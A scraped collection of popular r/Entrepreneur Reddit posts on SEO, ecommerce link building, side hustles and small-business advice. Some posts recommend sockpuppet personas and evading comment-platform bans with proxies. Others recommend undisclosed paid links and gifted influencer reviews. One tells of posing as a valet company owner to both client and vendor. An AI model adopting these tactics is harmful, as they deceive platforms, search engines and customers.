want it to count as a vote (you don’t want to pass link-juice), or you support user-generated content and want to deter spammers, you can use a nofollow link. Google says it discounts the value of those links. I’m not convinced they discount them heavily, but other SEOs are so they seem to deter spammers if nothing else. #### Redirects If you’re going to change a URL, but you don’t want its link juice to disappear, you can use a 301 redirect. A 301 will pass a majority of the link juice. Importantly, Google views www.austenallred.com and austenallred.com as different sites. So decide on one, and redirect all of one type to the other. #### Canonical URLs If you have two pages that are virtually the same, you can add something like <link rel=”canonical href=”https://www.someurl.com/somepage”> to say “hey, treat this page as if it were that page instead, but I don’t want to 301 it.” And with that, we’re ready to build our first links. # Link Building Link building is where SEO really starts to matter, and where a lot of people end up in a world of hurt. The best way to build links is to not build links. I’ve worked for companies in the past that don’t have to ask for them, they just flow in from press, customer blogs, their awesome blog posts, etc. If this is an option (and we’ll go over a couple of ways to make it more likely) you’re in a great place. If not, at least in the beginning, we’re going to manually create just a few. We’re going to create them in legitimate ways and not hire somebody in India to do so. That is a recipe for disaster, and I can’t even count the number of times I’ve seen that take down a site. Web 2.0s The easiest way to build high quality links are what SEOs call “web 2.0s.” That’s just a way to say “social sites” or sites that let you post stuff. Now tweeting a link into the abyss won’t do you anything, but profiles, status pages, etc. do carry some weight. And if they come from a popular domain that counts as a link. Some of the easiest are: - Twitter (in your bio) - Github (the readme of a repo) - YouTube (the description of a video — it has to actually get views) - Wordpress (yes, you’ll have to actually create a blog) - Blogger (same here) - Tumblr - Upvote-based sites (HackerNews, GrowthHackers, Inbound.org, Reddit, etc.) If nothing else you can start there and get a half dozen to a dozen links. There are always big lists of “web 2.0s” you can find online, but keep in mind if you’re going to build something out on a blogging platform you’re going to have to really build something out. That’s a lot of content and time, but you have to do it the right way. We generally keep a bigger list of Web 2.0s here. Some may be out of date, but you should probably only build a half dozen to a dozen Web 2.0s anyway. ## Expired Domains Another way to get link juice is by purchasing an expired domain. This is more difficult to do, but there are a lot of options such as expireddomains.net. (Google “expired domains” and you’ll find dozens of sites monitoring them.) You’ll want to purchase a domain that has expired and restore it as closely as you can to its original form using an archive. These sites likely have some link juice to pass on and you can pass it to yourself. ## Link Intersection Another way to find places you can build links is by using a link intersection tool. These find sites that link to “competitor a” and “competitor b” but not to you. Theoretically, if they link to both of your competitors, they should be willing to link to you. Moz, Ahrefs, LunaMetrics and others have link intersection tools that work quite well. Now that we have a few basic links flowing, we’re going to work on some strategies that will send continual links and press, eventually getting to a point where we don’t have to build any more links. # Your First Drip of Traffic — Becoming an Authority Site Awesome — you have a site that converts well, your SEO is in place, ready for you to drive traffic. Now what? As you’re probably learned at this point, a site that converts very well but has no traffic flowing to it still converts zero traffic. We’re going to fix that. This section takes a lot of time and effort, and in the beginning you’ll likely wonder if you’re doing anything at all. Remember that class in college that is so difficult it’s the point where most people give up, effectively weeding out the people who aren’t ready to major in a specific subject? ### Well this is the weeder-out chapter of growth hacking. ### Take a Long-Term View The reason so many people stumble on this step is the same reason people stumble on so many steps that take a little effort under time — losing weight, investing in a 401(k), etc. In the beginning you’re going to have a little seedling of traffic, and you’ll be looking up to those who have giant oak trees, thinking, “I must be doing something wrong.” You’re not doing anything wrong. The traffic starts as a trickle before it becomes a flood. But don’t worry if you’re a startup. Our goal is to get enough traffic that continuing to do this effort will be sustainable (meaning we won’t die before we start to see the rewards), but at the same time we’re building equity in the Internet. The type of traffic we want to build is the type that will compound and will never go away. We want to create traffic today that will still give us a little trickle in five years. Combining hundreds (or thousands) of little trickles, our site that converts, and a great product we will create a giant river. Future chapters will go into depth on the networks we need to drive traffic from, so in this chapter we’re going to focus on traffic that’s network-agnostic. Traffic that we can’t get by tapping any specific network. Just to give you some idea of scale, I’ve seen this process drive over 500,000 visits per day, though the build up to that level took almost a full year. What could you do with 500,000 visits per day? ##Monitoring Alerts To start we’re going to use the keywords we found in the SEO chapter, and inject ourselves (and our company) into the conversation wherever it’s taking place. To do this we’re going to use software called BuzzBundle. BuzzBundle This software lets us do a few things: Constantly monitor all mentions of a specific topic, competitor, or keyword across multiple locations on the Internet (from Facebook groups to Quora questions to blog posts) where comments are available Allow us to leave a constructive comment that references our product or company Disclaimer: This is not the SEO comment spam you’ve seen This step takes thought, effort, and a real human who understands what they’re typing. I don’t often say this, but you cannot effectively automate this step without it becoming spammy. If you’re trying to replicate the automated SEO spam you’ve seen on various blogs and sites this will probably work, but you’ll get banned, your clickthrough will be a fraction of what it could be, and you’ll be banned ## Productive Commenting We’re not going to fire up some awful software to drop spun mentions of garbage onto various comment sections online hoping that brings us SEO traffic. Our comments must do two things: - Be contextual. We are only going to talk about the topic presented in an article or tweet, and only mention our company when it naturally fits in - Contribute to the conversation. I should learn something or have value added to my life by reading your comment If you do these two things a few changes will take place: First, you’ll notice that people click on your links because you’re a thoughtful person who likes to contribute. Second, people will respect your company because you’re a thoughtful person who likes to contribute. And with that disclaimer, we’ll move on to the nitty gritty of how this is done. Let’s fire up BuzzBundle and get to work. ## Accounts and Personas The first thing you’ll want to do in BuzzBundle is go to Accounts -> Add new accounts. This is the starting point for everything we’ll do, as we need accounts to comment. One thing you’ll notice about BuzzBundle is that it lets you use multiple accounts. I find it beneficial to think from multiple perspectives and therefore multiple points of view, but I don’t want to go too far overboard and be spammy. I’d recommend doing something simple — create 2–3 personas, each of whom you identify with (or are you), and enter them into your BuzzBundle accounts. Personally I don’t even change my name, I just use a different one (eg. Austen J. Allred vs. Austen Allred) or use a few photos, just so it isn’t literally the same name and same photo blanketing the Internet. #### Disqus Disqus is a comment system used all over the place, and it carries some caveates. Disqus will ban you if you use the same link in every post, so there are two workarounds: Use a lot of different accounts, rotating IPs or using a proxy every two days or so Use your site URL as your “display name” Both of these work, but the second one is much easier in my view. ## UTM Parameters Using links with our UTM parameters here will be very beneficial. We’ll be able to track traffic back to each individual blog or site, and if necessary double down on the ones that are driving traffic. Link Shorteners If you ever start to run into problems with getting your link posted, it may be useful to use a few link shorteners or some 301 redirects. To keep it simple you can use a link shortener that 301s such as bit.ly, or if you want to spend a little more time you can set up your own site and 301 the traffic from a certain page to your money site. ##Using BuzzBundle Let’s get started with the BuzzBundle. First, it’s going to ask you for a keyword. We already have a keyword from the SEO section, but we may want to do something even a bit more generic. For this one I’m going to go with “growth hacking.” Simply hit “go” and let BuzzBundle get started. It will load different content types into different columns, but generally we are going to be scrolling through until we find something that looks compelling and like we can actually contribute to. The first thing I clicked on was this: https://cdn-images-1.medium.com/max/800/0*FtoN2kYmo5y3Oc1w. It’s a review of another book about growth hacking. All I had to do was comment, tag the author, ask him if he were willing to review our book, and offer to send him one for free. (If you’re that person reading this now it’s going to be pretty awkward). My assumption is this person will find the conversation to be completely authentic, because it is. When you're authentically reaching out to people you get rid of all of the icky-ickyThe fact that there’s now a link on his video that people who are searching for something else will find is just an added bonus. As an aside, I much prefer to hold “shift” and click on a link to open it in my normal browser if I’m just going to be commenting as myself. The next one I found was a roundup of great growth hacking blog posts from the week. I left the following comment: https://cdn-images-1.medium.com/max/800/0*m-1C10p2aY9Ymjjz. Note how I followed him on Twitter so that it’s obviously personal and not an automated spam comment. I even went a little bit overboard and tweeted at him just for kicks. That is how you get people on your team. As you get further along and have an idea of how to get a good response, I’d recommend starting to sort by reach, ramping up the number of keywords you’re searching for, and possibly even -gasp- upgrading to the paid version of BuzzBundle.",tianan,2970,347,1470416082,/r/Entrepreneur/comments/4wbdcz/seo_is_not_hard_a_stepbystep_seo_tutorial_for/,https://www.reddit.com/r/Entrepreneur/comments/4wbdcz/seo_is_not_hard_a_stepbystep_seo_tutorial_for/,self.Entrepreneur,True,,,,, aylx5g,Entrepreneur,How I made $2k in a day pretending to own a valet company,"Wasn't sure if this should go on r/confessions or here, but figured i'd share. 5 years ago I was bored at work (tech sales) and was browsing craigslist for services needed and came across a post about needing a valet company for a private party. I thought to myself, I could do that! So I replied and said I had a valet company (I did not know the first thing about valet companies) and soon after I was heading to their house to have a meeting about logistics. It was a huge house in a very wealthy neighborhood ($4M+ house), and this very nice husband and wife greeted me and said they were planning a graduation party for their son and parking was limited (house on a hill) and would need valet. I asked how many cars were expected, where we could park, times, etc and said i'd check with my ""team"" and get right back to them. I then called a few valet companies and told them I was a party planner for a wealthy family and needed a valet service. I explained that I would be their main point of contact and to please ask their staff not to speak to the owner. I provided the details and decided on the one that had the most reasonable prices and seemed legit (had insurance etc) and they sent me an invoice. The total for this service was $1,000 for 5 hours and 7 guys. So I created my own invoice, fake letter head, etc for $3,000. I sent it to the ""client"" and had no idea how they would respond to the price and not a few minutes later he said ""perfect!"" and I was stoked. I took a deposit (personal check made out to me) to pay the valet deposit, etc. The day of the event was stressful. The owner of the house thought I owned this valet company and the valet company thought I was a party planner! I kept going between the two to make sure that the right hand never talked to the left. At one point the actual owner of the valet company stopped by and I told him his guys were rockstars and got him out of there as quickly as possible. The event was a huge success. The valet guys were awesome to hang out with. I basically just hung out, ran a few cars myself and gave them all the tips. The plan was executed perfectly. After the event I came back to get my check and the wife had made me a huuuge goodie bag of food from the party (indian familu and Indian food i'd never had before. Was amazing). Told me how great we did, and all the compliments from their guests, etc. After that day I did a lot of research on valet companies, the market, the margins, and almost started a business but ultimately decided not to pursue it. Anyways, that's how you make $2k in a day. Always remember kids, there is money to be made a million different ways if you get a little creative and put your mind to it. My only regret... looking back at this picture of his house, I should have told him I also owned a roofing company :) :) Pic here: Valet for a day https://imgur.com/gallery/XB8tzFQ EDIT: Wow, crazy amount of comments and positivity. As a new member here, this is sweet! One point of clarity for ""Fake Invoice"". I didn't mimic the valet company, or pretend to be another company. Not even sure why I used the word ""fake"". It was a real invoice. I don't have a copy at this point but it likely said "" Letterhead ""MY NAME VALET SERVICES"" Date Event SERVICES: VALET/PARKING 5 HOURS (start/end) TOTAL COST OF SERVICE DEPOSIT THANK YOU"" If that is considered fraud then color me igloo. ",iamjans,2907,373,1552018005,/r/Entrepreneur/comments/aylx5g/how_i_made_2k_in_a_day_pretending_to_own_a_valet/,https://www.reddit.com/r/Entrepreneur/comments/aylx5g/how_i_made_2k_in_a_day_pretending_to_own_a_valet/,self.Entrepreneur,True,,,,, gl7k4j,Entrepreneur,I left my bank job to start a painting business 3 Years ago. We just hit $2.5m in sales. Here’s what I wish someone would’ve told me,"There’s a lot of you on here who reach out for guidance about leaving your full time job to start your own business. I want to outline a few things that I wish I had known prior to leaving my job that would’ve saved me a ton of headache. ***If you don’t know how to cook, the chef owns the restaurant*** For the record, I had no clue how to paint aside from working in the summer with my father when I was 12. At that time, all I did was light prep work. Like taping, prepping, and cleaning up trash and brushes at the end of the day. I bought into the insane idea that I would be able to run my painting business without any real painting knowledge or having to do any painting whatsoever. It didn’t take long for me to get knocked off my high horse of “collecting checks” when the sub I hired to perform the work decided not to show half way through one of the jobs… This left me in a very vulnerable position. One that no business owner should ever allow themselves to be in. My advice is to NEVER get into business without knowing how to produce the end result yourself. I spent the next 6 months working along side my workers and building a team. I learned the ins and outs of painting and can now handle any task that would be required of us on any job myself. ***If you don’t get the foundation right early, you probably never will*** “I’ll set up payroll once we get things running…” “I’ll set up workers’ comp after we get a few jobs under our belt…” “I’ll get accountant at some point, just not yet…” With this mentality, you’re setting yourself up for failure. Not taking care of these things early on will make it way more difficult to implement in the future. The reason many small businesses struggle with this is because at some point they get comfortable. They are making money, they are producing results, and to retract back to these foundational responsibilities scares them. If you’re starting a business, don’t wait for growth to take place to validate your responsibility to take action on these requirements. In other words, don’t build your skyscraper on a foundation made of sand. ***Delegate & Duplicate, Don’t get attached*** The reasons why small business owners are always over-worked is because they have a serious attachment issue. They can’t see themselves letting go of what they’re “good at” in fear that it won’t be done to standard of which it would be done if they were doing it or producing it themselves. This especially holds true in the trades. Your time is your most valuable asset. You have to learn to let go of all of the day to day responsibilities. You have to learn how to delegate tasks to other people and be OK if they make a mistake or mess up. The sooner you let go of controlling every aspect of your business, the sooner you give it permission to grow. It’s kind of like a dating relationship. If you suffocate it by trying to control every aspect of the other person, that obviously won’t end up well. The end goal is to duplicate yourself. When you start small, you’re obviously doing a ton of different tasks, but the goal is to delegate and train others to do those tasks the way you do them, this is called duplication and is very important for the success of your business ***Hiring and dating are a lot alike*** Hiring is by far the most important aspect of any business. I credit a majority of my company’s success due to a strong hiring process that is designed to filter out applicants and funnel in the best possible candidate for our job openings. The issue for me was, I didn’t start developing a strong process for hiring until about a year in. I kind of did one of those “Hey, do you know anyone that would want to work with us?” Or, did a general post somewhere with no real end goal. You get out what you put in. If you put out a crappy post with no strong requirements, you’ll get people that have low standards, just like your post. If you put out a strong post that has strong requirements for the position you are looking for with a detailed plan for entry, a phone interview, an in person interview, a working interview and a background check…well, you’re probably going to get someone that has high standards. You don’t have to be a major producer to implement this sort of hiring policy, you simply just have to be able to implement it and follow through with it. Many small businesses especially when starting out hire out of desperation, another relationship analogy, if you date out of desperation, that’s never a good thing. ***If you don’t actively convey your vision to your team for your company, they’ll create their own for themselves*** Don’t assume that just because you’re paying someone they will be loyal to you. By nature, humans like progress. What I’ve found in my business is that the more I convey my vision for the company to my team, the greater the morale. This is not only a collective vision, but individual vision as well for the members of the team. I am always asking them what their life goals are such as purchasing a house, getting a car, etc. and trying my best to help them achieve it. If I stay engaged with their goals, and encourage them to use the success of the business to help them achieve it, it’s a win win for everyone. I hope you got something out of these tips! I post a lot about the painting business in r/paintingbusiness. You can also find me on [Instagram.com/tradethrive](http://instagram.com/tradethrive)",Byobcoach,2795,304,1589682609,/r/Entrepreneur/comments/gl7k4j/i_left_my_bank_job_to_start_a_painting_business_3/,https://www.reddit.com/r/Entrepreneur/comments/gl7k4j/i_left_my_bank_job_to_start_a_painting_business_3/,self.Entrepreneur,True,,,,, elyqf5,Entrepreneur,"Mental health matters. Toxic positivity is a thing. Dont listen to Gary Vee and others who say you need to sleep 2 hours a night and never have fun. They are toxic, and they infest this space.","This may be pretty controversial to lots of you here who hero worship people like Gary Vee and others, but it is important. The industry that has developed around entrepreneurship is infested with what I call 'Toxic Positivity'. It is dangerous and counterproductive. Here are some examples: * Telling you its possible that everyone can have businesses making 6 or 7 figures of revenue per month. Yes it happens, but it is not particularly likely or even desirable in many cases. Keep your goals achievable and realistic. Dont be blinded by the unicorns. * We are often told you need to get up at 4.30am and never sleep. This is obvious BS. Get up at a time that keeps you productive, get a decent nights sleep and look after yourself. Burnout is real, if you dont stop, your body will force you to stop. * Its really difficult. There is no shortcut to success. There is no automatic formula someone can teach you. Experience matters. Dont forget this when you're seeing adverts telling you to buy ebooks in the latest online trend. Stop looking for the next big thing, stop thinking short term, stop wanting there to be a hidden secret to making it work. * Dont neglect your friends and family, they are a vital support network that no amount of money can buy back at the end. Its not necessary to avoid all social events or relationships in order to succeed. * Contrary to what we are told, not everyone needs to aim to be a millionaire or billionaire to succeed at business. There are millions of people running profitable businesses, living good lives that operate at a smaller scale. * Owning a Lamborghini isnt important in life. Remember what real value is. * There is no shame in not being an entrepreneur. People in jobs aren't all idiots who are being manipulated by corporations. Working hard at a job and bringing home a reliable paycheck for your family is honourable, will most likely pay more and offer you long term contentment. * The best investment you can make is in yourself. Eat healthily. Exercise or play sports. Give yourself mental health days if you need them. Use your support network. Keep learning. It will all pay off throughout your life. * It isn't all about content all of the time. At some point you are going to have to actually make tangible sales and stop designing content. * Motivation porn is exactly like regular porn, its impossible to live up to and warps your understanding of how this all works.",LL112,2794,461,1578516932,/r/Entrepreneur/comments/elyqf5/mental_health_matters_toxic_positivity_is_a_thing/,https://www.reddit.com/r/Entrepreneur/comments/elyqf5/mental_health_matters_toxic_positivity_is_a_thing/,self.Entrepreneur,True,,,,, ql27dk,Entrepreneur,Opinion: investing in cryptocurrency has nothing to do with entrepreneurship and any comments suggesting it should result in a ban,"Seriously. This place is awash with crypto bros now. You're just gamblers. Go away. This sub is for creating and running a business, not gambling. Edit: taking all your money and dumping it in crypto, or any stock, is just investing. That's not a business. Investing=/=entrepreneurship. Investing might be a part of your business though. But if that's the only thing you're doing with your money, you're just an investor and you should go to a different sub. Convincing other people to let you invest their money and in exchange for a cut IS a business, and relevant to r/entrepreneur. I can't believe I have to spell it out for some people 🤦‍♂️",Strong_Mogambo,2769,540,1635852777,/r/Entrepreneur/comments/ql27dk/opinion_investing_in_cryptocurrency_has_nothing/,https://www.reddit.com/r/Entrepreneur/comments/ql27dk/opinion_investing_in_cryptocurrency_has_nothing/,self.Entrepreneur,True,,,,, g2ukmw,Entrepreneur,Alright you Fucks,"Lost my business overnight during this virus... Spent 10 years building... soul sucking time spent... 2 employees perfect for the job who won’t now come back... customer base pissed.. Built from scratch to Quarter million a year in revenue.. was proud but now that’s zero. And you know what? I don’t give a FUCK! I learned so got damn much over my time. I always had a foggy picture of real business.. always fought peel back the layers of mystery. Not any more. I know this shit now. I know marketing.. inbound leads to sales. I know CRM.. keeping customers tight. I know numbers.. can read and forecast PL, cashflow, balance sheets like a champ. I know systems.. ran business on autopilot for 2 years. I know VA’s.. had 3 helping run my business. I wrote 3 books and built an app with no dev skills. Drank a ton of good beer with new friends whenever I wanted . Walked away with half mil to my name by end of it. Bought a house a few years ago So fucking bring it. The biz was good to me and now it’s done. I don’t give a shit. I’ll come back stronger. Smarter. More resilient. To the next chapter fuckers.",Shit-kabob,2706,513,1587096059,/r/Entrepreneur/comments/g2ukmw/alright_you_fucks/,https://www.reddit.com/r/Entrepreneur/comments/g2ukmw/alright_you_fucks/,self.Entrepreneur,True,,,,, 5vtkwo,Entrepreneur,"For 11 years, I have been ranking ecommerce stores on Google. Some from nothing to $8,200,000+. Here is the EXACT process on how to start an Ecommerce store with ZERO experience and get it profitable with Google traffic.","With the latest Amazon affiliate changes, we might have a lot of people switching over from affiliate marketing to Ecommerce so I figured I'd share 11 years of experience building, starting and growing Ecommerce stores on Google. (I've seen it all... computer stores, fashion stores, health supplement stores, gourmet food, jewellery, sunglasses, tape, sex toys, guitar stores, drone stores, recreational vehicles, paintball stores, water filtration, home appliances and more). **Obligatory Proof:** https://i.gyazo.com/dd374c572ca7ed2233afea432a74f856.png Even though I frequently work with 1m-15m/year E-commerce sites, I really enjoy the startup phase. There's something really exciting about **starting a new Ecommerce store so that's what I'm going to focus on today.** Here are some of examples of the Ecommerce ranking technique I'm going to share. Sometimes doubling (even tripling) in Google traffic. **Brand new Ecommerce Startup Proof Example #1** https://i.gyazo.com/79d789e8310710d7683b62728abe386b.jpg **Another new Ecommerce store Example #2** https://i.gyazo.com/0692384554ac1d223988f0882f95675a.png This Ecommerce that could never rank no matter what they tried triples their traffic in less than 3 months **And another Client Example #3** https://i.gyazo.com/d13b6264536b17a3428e5b0088e711cb.png Another example of an ecommerce store dramatically increasing their traffic. These techniques are unique to Ecommerce stores (so those pesky bloggers can’t use these) and provide long lasting results. So how do you get Google to notice your store and send you massive amounts of visitors? Let's start with the most common one (my least favorite but I want to include it because it works... heck many Reddit 'success stories' have followed this exact strategy. I believe most people should at least TRY this one first and then more on the others if it doesn't span out.) **The Grand Slam Technique** The Grand Slam technique involves doing something BIG to get a lot attention. It’s the explosive, “plan it for three weeks and hope it works out” approach. Essentially, this is how you want to do it if you want to follow Google recommendation of “Create great content and people will come” and have a chance of succeeding. The “go big” method often involves a marketing stunt with the aim of going viral or a large piece of content. You invest several weeks and create something that you believe will capture the world’s attention using your product. **For example:** Your Ecommerce store sells tape. To demonstrate the strength of your tape, you decide to [shoot a video in which you lift a car with your product.](https://i.gyazo.com/8b5e88831bec1a0b5eb503a6850652de.png) You spend weeks putting it together, coordinating a crane to lift the car, a camera crew and a boatload of tape. Does the video go viral? ? Well, maybe! But then again, maybe not. Statistically… it doesn’t. *Most* things don’t go viral. There are just too many other cool things happening in the world. However, you only need one hit to make it. (DollarShaveClub anyone?) That’s why I prefer the: **Perfect Perk Technique** This technique works SO WELL that Google has recently decided that you probably shouldn’t do it because it will give you an unfair advantage over the competition. There is a weakness in their algorithm and, as you’ll soon see… it’s practically impossible for them to stop it. It isn’t as sexy as directing your own mini-commercial but it does deliver massive amounts of Google traffic. Plus, if you want to be a director, you can do that with the profits from this approach. Even if you know nothing about search engine optimization and you’re in a competitive industry, this is for you. Instead of relying on what other people think of our blog post or video, we’re going to give Google exactly what it wants… and in turn, it will give us exactly what we want: traffic. The first step is convincing Google that you have the best store in your industry. So when someone asks Google, “Where do I get this widget?” https://i.gyazo.com/681f0983a02f861278406f866d807b93.png Google answers, “Right here, at your store!” **So what are the main things that Google looks for?** *Good product listings. *A ton of people talking about your products. *Convince Google that you have these two elements and you’re golden.* However before I get to the sexy stuff (getting people to talk about your product using the Perfect Perk technique), I feel I’d be doing you a disservice if I didn’t at LEAST mention what makes a good product listing. Without this, everything else you do is useless. **So what makes a good product listing?** I want to tell you a little secret that will make a lot of ecommerce gurus cringe: You don’t need to do that much for product listings in order to rank on Google. In fact, as long as you convey the right signals, you’ll rank just fine. Why? Because, all you need is a slightly better product listing than your competition. And the truth is, most ecommerce stores have no idea what they are doing! They use the same stock photography that their supplier sent them, they copy paste the 75 word description from the wholesale catalog and then call it a day! In the restaurant industry, that’s the equivalent of reheating frozen food in the microwave! It just won’t cut it. **So what DOES Google want?** At a bare minimum, it wants an original picture of your product and an original description. This can be as quick as taking a snapshot of the image with your IPhone and writing the basics about the item you’re trying to sell. * Main feature * Specifications? * What is it made of? * How do you use it? * What kind of warranty does it have? Preemptively answering the questions that your customer might have about your product will help you rank higher on Google and help you sell more. If you want to get fancy, have 5-6 pictures of your product taken by a professional photographer. **Here are 3 examples of great product listing:** I annotated the product listing examples to highlight the elements that contribute to great rankings for each website. **Great Product Listing Example #1:** https://i.gyazo.com/8b2b34fe57f97309cd8782668acd8db0.jpg Boom By Cindy Joseph They combines all the proper SEO elements with all the best conversion elements. There is a massive amount of social proof on the page which increases conversions. *Here are the highlights:* * Multiple original images taken by a professional photographer. * Multiple original videos (they also count as unique content) * Original description in the form of benefits * Huge amount of reviews. Reviews count as content! **Great Product Listing Example #2:** Safety Tape By Creative Safety Supply https://i.gyazo.com/b689d7900fb7e043a088a32c7abcb321.jpg They produce extremely useful product pages, including many visual elements and additional resources that are useful to the user. *Some of the highlights:* *Massive amount of original, professional images *Breadcrumb navigation (This helps the click-through-rate of your Google search result listing by adding categories in the results) * Extensive original description * Multiple reviews (not shown in the picture) * Related resources and guides **Great Product Listing Example #3:** Levi Jeans by Amazon https://i.gyazo.com/530b820e0b17ce9ea6983663486e011c.jpg Why does Amazon rank for nearly everything? Three reasons: Content, content and more content. (And 2.5B backlinks doesn’t hurt either) *Some of the highlights:* * Multiple original images * Extensive related amount of products, images and information * Reviews. Over 5000 reviews creates a massive amount of original content that cannot be found anywhere else. To Google, pictures count as content. If you take 2 pages and everything else is equal… and one with more content wins every time. *If you want other people to complete your content, then allow reviews to be posted on the site and let your customers ask & answer questions. This will count towards your original content! This is one of the main reasons Amazon does so well in the search results.* And now… the fun part. **How To Get Links To An Ecommerce Store** How does an Ecommerce store get backlinks when: * The competition refuses to link to you * Related industry sites are too busy writing about the manufacturers instead of linking to the store selling the product! * No one really knows you. You could take the first approach which is to build something and hope it goes viral… however I prefer to exploit the weaknesses in Google’s algorithm by manufacturing real, high quality links on related industry sites. This method produces BETTER results anyway. However, before I share this method with you, it’s important that you understand one important element about traffic. **The Misconception That Holds Most People Back** The biggest misconception that people have about organic Google traffic is that it’s “free” and therefore all link-building efforts must also be free. Instead, you will need a small investment. As soon as you adopt the mentality that you’ll invest X into link building with the objective of making Y, you’ll be on your way to success. If you invest $100 into link building and you make $200 profit, you win. If you invest $500 and make $5000 profit? You win even more. One mistake many new Ecommerce owners make is competing for #1 rankings with a budget of $0 while their competitors are spending $500. *My last SEO test project cost $4361 and has generated (at the time of writing) over $47941.30 in profits.* **It’s all about getting a positive return on investment.** When you adopt the mentality that Time = Money and that Money = Traffic, you can make much better decisions with your investments. This will change your focus from the “cheapest” option (which won’t work) to the “best value” option… which will provide you with the highest return on investment. The first, and often most cost efficient way of acquiring new links when launching a new Ecommerce store is… drum roll the good'old fashioned PRESS RELEASE. Before you jump off the page thinking: “Oh I’ve heard this one before, I tried a press release and it didn’t do anything“, remember our new mentality: We don’t want cheap, we want good value. **Here’s what you should avoid:** https://i.gyazo.com/fa3cf3ec0350e948f157746453cf876f.png Instead of getting a $60 press release that promises to get you good rankings and “into 10000 news agencies” and “into Google news”, spring for a professional press release that will get you in front of real journalists that will write articles about you. And quite frankly, those cost more.. Do you think journalists are reading all the crap-o-la that comes from the $60 press release services? Journalists are looking for real stories… about real businesses. Those stories tend to be mentioned on larger news sites such as PRNewswire, MarketWired and BusinessWire. So, submit your high-quality releases to these sites. **When you submit your first press release about your Ecommerce store, you want to go in with a purpose:** How does your store differentiate itself? Why do you exist? Why are you better than the competition?! *If you want your press release to succeed two things must happen. You must write a good headline and get it in front of the right journalists. Use a premium press release services to get your headline it in front of the right journalists.* If you’re ever going to have a sale or a promo, now is the time. I don’t have time to cover the do’s and don’ts of a successful press release (that’s for another article) but if you’re ever in a pickle, you can hire a marketing expert to find an interesting angle for you. Just remember, when you write the press release, you aren’t writing it for customers, but for journalists. One single press release CAN land you thousands of high quality links that can power your site for years to come which makes it the best investment a new Ecommerce store can make. Traffic from a well crafted press release: https://i.gyazo.com/06458c77123617faefb05ada03ea45d6.png A good press release got into the hands of a few journalists, sending thousands of visitors to my client’s ecommerce store and generating dozens of DA30+ links on industry related sites. *Don’t use a keyword for your anchor text when creating a press release. Use your brand name or a generic URL. This improves the chances of your press release being taken seriously by journalists and prevent potential over-optimization penalties.* The truth is, Google doesn’t want you to exploit this weakness in their algorithm. [(They tried)](http://searchengineland.com/google-links-in-a-press-release-should-be-nofollowed-like-advertisements-168339) Good press releases will provide massive SEO benefits and there is little they can do about it. **Hypothetical situation:** - $495 press release - 5 hours of work x $20 = $100 $595 for potentially thousands of journalist seeing (and writing) about your store. **Worst case scenario:** You get featured on the standard boilerplate sites which will give you some backlink juice and get Google traffic flowing. **Best-case scenario:** A journalist picks up your story, writes a real article about you on a major site which immediately drives traffic, sales and skyrockets your Google rankings in one shot. Some multi-million dollar businesses, such as the http://www.headblade.com, have been made on the back of a SINGLE news article. https://i.gyazo.com/faa1a0120b1030550c279d7f63f3dd8e.png When that happens, many smaller websites “borrow” the story and rewrite it as their own, further accumulating natural links for your website. **An unlimited source of recommendations about your product and store** Every industry has two main categories of websites: 1. The sellers. (This is the Ecommerce stores, the suppliers and manufacturers.) 2. The reviewers/enthusiasts/news (the influencers). These are the large blogs and large authority sites that write on a daily basis about the industry. They typically carry a lot of weight. It’s your job, as a seller, to get all the influencers to recommend you. When Google detects that many influencers are linking to you, your store climbs up the Google ranks and generate massive amounts of traffic (and sales). Here’s why this is a weakness in Google’s algorithm: Google doesn’t know if the influencers are linking to you because you’re a friend, because they think you have a good product or because you met them at a conference and promised them a perk. In other words, as long as the influencers aren’t advertising: “Give me stuff and I’ll link to you!“, no one knows why an influencer links to anything! … and getting influencers to write about us is EXACTLY what we’re going to exploit. However, here’s where most people get it wrong. Most sellers approach influencers with the “ME ME ME” mentality. In other words, they are only thinking of what they want instead of what the influencer wants. The typical email that will get you nowhere as a seller is: *“Hey, I just launched this store, we have amazing products and I thought you’d want to let your audience know about us.”* NO, NO, AND NO Remember when I said that you have to think of Google traffic as an investment and that the focus is getting the best return on investment? Well, that translates to figuring out what the influencer wants. For instance, most influencers will gladly accept money. Even though the official Google rule is to add “nofollow” to the links, this is rarely enforced by the bloggers. *The sites you want to avoid are sites that are dedicated to ONLY posting sponsored posts. Those sites typically serve low quality content. The best sites are the ones with an active community and visitors. An easy tell is to check to see if there are any comments on the articles. Good sites tend to have comments on each article.* Influencers make their living from this kind of stuff so they are always on the lookout for good opportunities. Focus on the influencer’s needs and start the conversation with: “Hey, I just launched this store and was wondering how much it would cost to have you mention my store in your next article” will get you a much higher success rate. From there, I recommend looking up the site metrics & traffic (how powerful it is) and then you can easily calculate the cost to see if it’s worth it: * 1 mention from influencer #1 with a DA58 website (2300 daily visitors) = $200 * 1 mention from influencer #2 with a DA34 website (750 daily visitors) = $250 * 1 mention from influencer #3 with a DA64 website (3300 daily visitors) =$750 Ummm, influencer #3 seems overpriced and influencer #1 is providing some good value for the money! Quick, simple, repeatable. And if it’s not worth it, negotiate! *You can typically negotiate at least 50% off whatever price they initially throw at you. The best negotiation tactic is to present quotes from competitive influencers. This will help you get the absolute best price for your post.* **Here is an actual conversation I had with an influencer:** https://i.gyazo.com/227b2234165b340414342d06eb39ebfb.png Once you have more experience, you’ll be able to guesstimate the amount of traffic / ranking boost that such a website can provide over the course of a year. **The Math:** That $200 link from a DA58 website might result in an extra 14000 visitors over the course of a year. At a 2% conversion, that’s 280 extra sales. And at an average of $34 profit on each sale, that’s $9520 in profit. Not bad for a $200 link. You might be looking at this thinking: “Damn, how do I know what kind of profit I’ll generate from a link?!” Well, the truth is, you don’t. However as you gain experience in your industry and you’ll be able estimate the traffic a bit better. In my experience, even bad estimates are better than no estimates at all. This is how you start building a solid foundation of influencers linking to your Ecommerce store. However… I saved the best for last. Remember that example where the influencer requested $750? Well, imagine you could get the same result for a fraction of the price? Typically, sponsored posts and advertorials tend to be pricey. They might still be worth it but there’s a way to get influencers to respond for much cheaper. (Providing you with a higher ROI). ** Nearly every influencer in your industry will be interested in your products . ** The best part is that YOU pay wholesale for your products but the perceived value is much higher. Influencers love products (that’s why they got into their industry in the first place) and they need products to review. In fact, nearly every influencer has a section dedicated to reviews on their website. So while a high-profile influencer might charge an exorbitant amount of money for a sponsored story about your Ecommerce store, he or she will gladly accept to review your product if you just send it over to them. This works so well that Google is freaking out, trying to figure out how to reduce the amount of influencers receiving free products and not disclosing it. The weakness that we’re exploiting is the following: Unless the influencer states that the product was sent to them or they openly advertise that they’ll give you a link if you send them a product, Google doesn’t know how the product got to the influencer. The only way for Google to stop this is to manually check sites openly 